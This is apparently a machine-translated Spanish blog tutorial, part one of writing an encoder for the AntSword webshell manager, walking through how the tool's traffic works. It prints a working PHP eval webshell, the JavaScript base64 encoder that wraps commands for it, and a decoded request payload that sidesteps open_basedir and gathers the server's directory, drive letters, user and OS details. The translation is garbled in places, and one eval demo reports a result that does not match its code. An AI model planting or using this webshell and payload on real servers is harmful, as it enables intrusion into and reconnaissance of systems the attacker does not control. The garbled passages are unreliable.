Compartir tecnología

Escribiendo el codificador Ant Sword—Parte 1

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Referirse a

Codificador impresionante

porPrimeroPor ejemplo
caballo de Troya

<?php @eval(base64_decode($_POST['ant']));?>
  • 1

Obtenga el contenido del parámetro ant, luego decodifíquelo en base64 y ejecútelo
Codificador

let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
  • 1
  • 2
  • 3

Genere un número aleatorio ID aleatorio, codifique los datos en base64 y páselos al parámetro ID aleatorio.
Entonceseval(base64_decode($_POST[${randomID}]));die();Realizar codificación base64

De lo contrario
El troyano lo consigue primero.data[pwd]Eso esantEl valor se obtiene después de la decodificación base64.

eval(base64_decode($_POST[${randomID}]));die();
  • 1

De hecho, el troyano se convirtió

<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
  • 1

Supongamos que el número aleatorio generado randomID esA, entonces eso es

<?php @eval(eval(base64_decode($_POST[A]));die(););?>
  • 1

En el segundo paso del caballo de Troya, eldata[randomID], eso es$_POST[${randomID}], es decir, aquí$_POST[A] Ha sido codificado en base64, por lo que es necesario decodificarlo una vez. Entonces surge la pregunta: ¿por qué es necesario ejecutarlo dos veces? ? ?Entonces tienes que comprobarlo desde el paquete de tráfico.

Aquí no hay ninguna demostración sobre la construcción del entorno. Xiaopi, Yijian y burpsuite son suficientes.
Insertar descripción de la imagen aquí

Decodificar la base del paquete de datos.

ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
  • 1
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Entonces se convierteeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

Eche un vistazo a este gran párrafo y ordénelo.

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

Por supuesto, no conozco muchas funciones, ¡pero existe la IA!

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

Este párrafo es
Desactivar la visualización de errores
Establecer el tiempo de ejecución del script
Obtenga el valor de configuración de open_basedir y omitaopen_basedirRestricciones de atributos

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

Esta sección obtiene el directorio donde se encuentra el script actual e inicializa los parámetros de cadena.$R, atraviesa la letra de la unidad, CZ destruye la letra de la unidad, usa la función posix_getegid para obtener el nombre de usuario, el grupo de usuarios y otros contenidos del usuario que ejecuta el script, detecta$uSi existe. Si no existe, use la función get_current_user() para obtenerlo. Use php_uname() para obtener la información del sistema operativo.

Está muy claro en este punto. Este código PHP obtiene el directorio de ejecución actual, la letra de unidad, el usuario y la información del sistema operativo del troyano debido al uso del mecanismo de almacenamiento en caché.
Realizar salida colectiva en la función asoutput(),

Envíe el paquete de solicitud anterior al módulo repetidor y descubra que los resultados devueltos son los mismos

Pero esto todavía no puede explicar por qué hay dos evaluaciones. De hecho, el contenido pasado por ant pertenece a la cadena. Solo cuando se coloca una capa de evaluación afuera se ejecutará la evaluación interna como una función.

<?php  
eval("eval('echo 1+1;');die();")
?>
  • 1
  • 2
  • 3

Transformar

<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
  • 1
  • 2
  • 3

Insertar descripción de la imagen aquí
El resultado de salida final es 2, lo que significa que la evaluación externa convierte la cadena en una función para su ejecución, y la capa interna de evaluación ejecuta el contenido.

Entonces, en este ejemplo, la evaluación del troyano se usa para activar la función de evaluación en el paquete de solicitud, logrando así el efecto de ejecución de comando.